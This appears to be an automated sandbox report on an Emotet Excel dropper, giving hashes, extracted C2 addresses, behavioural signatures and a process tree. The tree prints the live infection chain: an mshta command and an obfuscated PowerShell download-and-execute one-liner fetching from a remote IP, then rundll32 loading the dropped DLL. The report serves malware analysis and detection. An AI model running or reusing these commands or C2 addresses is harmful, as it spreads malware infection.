emotet | e7623d11804279c664128cbdd11684cbcdc7838103f5233eb68e54935a59c30c

Analysis

max time kernel
122s
max time network
173s
platform
windows10_x64
resource
win10-en-20211208
submitted
28/01/2022, 15:32

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General

Target
tmp8y6nrxnx.xls
Size 90KB
Sample220128-symjmaffhj
SHA256 e7623d11804279c664128cbdd11684cbcdc7838103f5233eb68e54935a59c30c
MD5 b5a805a137ec3abcee61f60e9e6320bf
SHA1 72011b900dc2c4828332ad863d227580c98e0e5a
SHA512 61ba357d3616860b272405c137f92b9675ce54c84b91e5540cee320fe253d0ab65f0830641cee3aa30d81f0162da347a023855e700ec666f54ffabaa7e9eb3ed
MD5 SHA1 SHA512

Score

10^/10

emotet epoch5 banker suricata trojan

Malware Config

Extracted

Language

Source

URLs

hta.dropper
http://91.240.118.172/ee/ss/se.html

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://91.240.118.172/ee/ss/se.png

Extracted

Family

emotet

Botnet

Epoch5

159.69.43.124:8080
45.79.80.198:443
207.148.81.119:8080
128.199.192.135:8080
118.98.72.86:443
217.182.143.207:443
168.197.250.14:80
116.124.128.206:8080
78.46.73.125:443
185.148.168.15:8080
195.154.146.35:443
85.214.67.203:8080
194.9.172.107:8080
59.148.253.194:443
210.57.209.142:8080
54.38.242.185:443
195.77.239.39:8080
159.69.237.188:443
104.131.62.48:8080
62.171.178.147:8080
142.4.219.173:8080
66.42.57.149:443
78.47.204.80:443
190.90.233.66:443
54.37.228.122:443
185.168.130.138:443
191.252.103.16:80
37.59.209.141:8080
185.148.168.220:8080
37.44.244.177:8080
203.153.216.46:443
45.13.132.26:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1580	3640	cmd.exe	68

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 7 IoCs

flow	pid	Process
37	3124	mshta.exe
38	2652	powershell.exe
40	2652	powershell.exe
52	2984	rundll32.exe
53	2984	rundll32.exe
54	2984	rundll32.exe
57	2984	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
3596	rundll32.exe
4772	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Haoeakrnlqyhjydi\iefhaonudtehsbz.bvf	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1048	3124	WerFault.exe	76

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3640	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
2652	powershell.exe
2652	powershell.exe
2652	powershell.exe
1048	WerFault.exe
1048	WerFault.exe
1048	WerFault.exe
1048	WerFault.exe
1048	WerFault.exe
1048	WerFault.exe
1048	WerFault.exe
1048	WerFault.exe
1048	WerFault.exe
1048	WerFault.exe
1048	WerFault.exe
1048	WerFault.exe
1048	WerFault.exe
1048	WerFault.exe
2984	rundll32.exe
2984	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2652	powershell.exe
Token: SeDebugPrivilege	1048	WerFault.exe

Suspicious use of SetWindowsHookEx 15 IoCs

pid	Process
3640	EXCEL.EXE
3640	EXCEL.EXE
3640	EXCEL.EXE
3640	EXCEL.EXE
3640	EXCEL.EXE
3640	EXCEL.EXE
3640	EXCEL.EXE
3640	EXCEL.EXE
3640	EXCEL.EXE
3640	EXCEL.EXE
3640	EXCEL.EXE
3640	EXCEL.EXE
3640	EXCEL.EXE
3640	EXCEL.EXE
3640	EXCEL.EXE

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 3640 wrote to memory of 1580	3640	EXCEL.EXE	72
PID 3640 wrote to memory of 1580	3640	EXCEL.EXE	72
PID 1580 wrote to memory of 4564	1580	cmd.exe	74
PID 1580 wrote to memory of 4564	1580	cmd.exe	74
PID 1580 wrote to memory of 4552	1580	cmd.exe	75
PID 1580 wrote to memory of 4552	1580	cmd.exe	75
PID 4552 wrote to memory of 3124	4552	cmd.exe	76
PID 4552 wrote to memory of 3124	4552	cmd.exe	76
PID 3124 wrote to memory of 2652	3124	mshta.exe	77
PID 3124 wrote to memory of 2652	3124	mshta.exe	77
PID 2652 wrote to memory of 2840	2652	powershell.exe	81
PID 2652 wrote to memory of 2840	2652	powershell.exe	81
PID 2840 wrote to memory of 3596	2840	cmd.exe	82
PID 2840 wrote to memory of 3596	2840	cmd.exe	82
PID 2840 wrote to memory of 3596	2840	cmd.exe	82
PID 3596 wrote to memory of 4772	3596	rundll32.exe	83
PID 3596 wrote to memory of 4772	3596	rundll32.exe	83
PID 3596 wrote to memory of 4772	3596	rundll32.exe	83
PID 4772 wrote to memory of 4604	4772	rundll32.exe	86
PID 4772 wrote to memory of 4604	4772	rundll32.exe	86
PID 4772 wrote to memory of 4604	4772	rundll32.exe	86
PID 4604 wrote to memory of 2984	4604	rundll32.exe	87
PID 4604 wrote to memory of 2984	4604	rundll32.exe	87
PID 4604 wrote to memory of 2984	4604	rundll32.exe	87

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmp8y6nrxnx.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3640
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c set ooo=mshta http://91.240.118.172/ee/ss/se.html & echo %ooo% | cmd
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1580
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo %ooo% "
    3⤵
    PID:4564
- - C:\Windows\system32\cmd.exe
    cmd
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4552
  - - C:\Windows\system32\mshta.exe
      mshta http://91.240.118.172/ee/ss/se.html
      4⤵
      Blocklisted process makes network request
      Suspicious use of WriteProcessMemory
      PID:3124
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FutuReD}{FutuReD}Ne{FutuReD}{FutuReD}w{FutuReD}-Obj{FutuReD}ec{FutuReD}{FutuReD}t N{FutuReD}{FutuReD}et{FutuReD}.W{FutuReD}{FutuReD}e'.replace('{FutuReD}', ''); $c4='bC{FutuReD}li{FutuReD}{FutuReD}en{FutuReD}{FutuReD}t).D{FutuReD}{FutuReD}ow{FutuReD}{FutuReD}nl{FutuReD}{FutuReD}{FutuReD}o'.replace('{FutuReD}', ''); $c3='ad{FutuReD}{FutuReD}St{FutuReD}rin{FutuReD}{FutuReD}g{FutuReD}(''ht{FutuReD}tp{FutuReD}://91.240.118.172/ee/ss/se.png'')'.replace('{FutuReD}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
        5⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2652
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\Milossd.dll,KitKat
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2840
        
        C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\ProgramData\Milossd.dll,KitKat
        7⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:3596
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\Milossd.dll",DllRegisterServer
        8⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:4772
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Haoeakrnlqyhjydi\iefhaonudtehsbz.bvf",LdPdBRbupBboPvx
        9⤵
        Suspicious use of WriteProcessMemory
        
        PID:4604
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Haoeakrnlqyhjydi\iefhaonudtehsbz.bvf",DllRegisterServer
        10⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:2984
    - - C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 3124 -s 2308
        5⤵
        Program crash
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1048

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2652-292-0x000001A87F540000-0x000001A87F542000-memory.dmp

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memory/2652-328-0x000001A87F546000-0x000001A87F548000-memory.dmp

Download

memory/2652-323-0x000001A87FB60000-0x000001A87FBD6000-memory.dmp

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memory/2652-312-0x000001A87F750000-0x000001A87F78C000-memory.dmp

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memory/2652-291-0x000001A87F4C0000-0x000001A87F4E2000-memory.dmp

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memory/2652-294-0x000001A87F543000-0x000001A87F545000-memory.dmp

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memory/2984-634-0x0000000004E80000-0x0000000004EA7000-memory.dmp

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memory/2984-620-0x00000000044F0000-0x0000000004517000-memory.dmp

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memory/2984-644-0x00000000053F0000-0x0000000005417000-memory.dmp

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memory/2984-642-0x0000000005300000-0x0000000005327000-memory.dmp

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memory/2984-640-0x0000000005120000-0x0000000005147000-memory.dmp

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memory/2984-638-0x0000000005040000-0x0000000005067000-memory.dmp

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memory/2984-636-0x0000000004F60000-0x0000000004F87000-memory.dmp

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memory/2984-632-0x0000000004DA0000-0x0000000004DC7000-memory.dmp

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memory/2984-623-0x0000000004CC0000-0x0000000004CE7000-memory.dmp

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memory/3596-602-0x00000000045D0000-0x00000000045F7000-memory.dmp

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memory/3640-119-0x00007FFB38420000-0x00007FFB38430000-memory.dmp

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memory/3640-131-0x00007FFB349C0000-0x00007FFB349D0000-memory.dmp

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memory/3640-663-0x00007FFB38420000-0x00007FFB38430000-memory.dmp

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memory/3640-662-0x00007FFB38420000-0x00007FFB38430000-memory.dmp

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memory/3640-661-0x00007FFB38420000-0x00007FFB38430000-memory.dmp

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memory/3640-660-0x00007FFB38420000-0x00007FFB38430000-memory.dmp

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memory/3640-122-0x00007FFB38420000-0x00007FFB38430000-memory.dmp

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memory/3640-121-0x00007FFB38420000-0x00007FFB38430000-memory.dmp

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memory/3640-118-0x00007FFB38420000-0x00007FFB38430000-memory.dmp

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memory/3640-132-0x00007FFB349C0000-0x00007FFB349D0000-memory.dmp

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memory/3640-120-0x00007FFB38420000-0x00007FFB38430000-memory.dmp

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memory/4604-619-0x0000000002D60000-0x0000000002D87000-memory.dmp

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memory/4772-607-0x0000000004F70000-0x0000000004F97000-memory.dmp

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memory/4772-609-0x0000000005050000-0x0000000005077000-memory.dmp

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memory/4772-613-0x0000000005190000-0x00000000051B7000-memory.dmp

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memory/4772-611-0x0000000005130000-0x0000000005157000-memory.dmp

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memory/4772-617-0x0000000005390000-0x00000000053B7000-memory.dmp

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memory/4772-615-0x00000000051F0000-0x0000000005217000-memory.dmp

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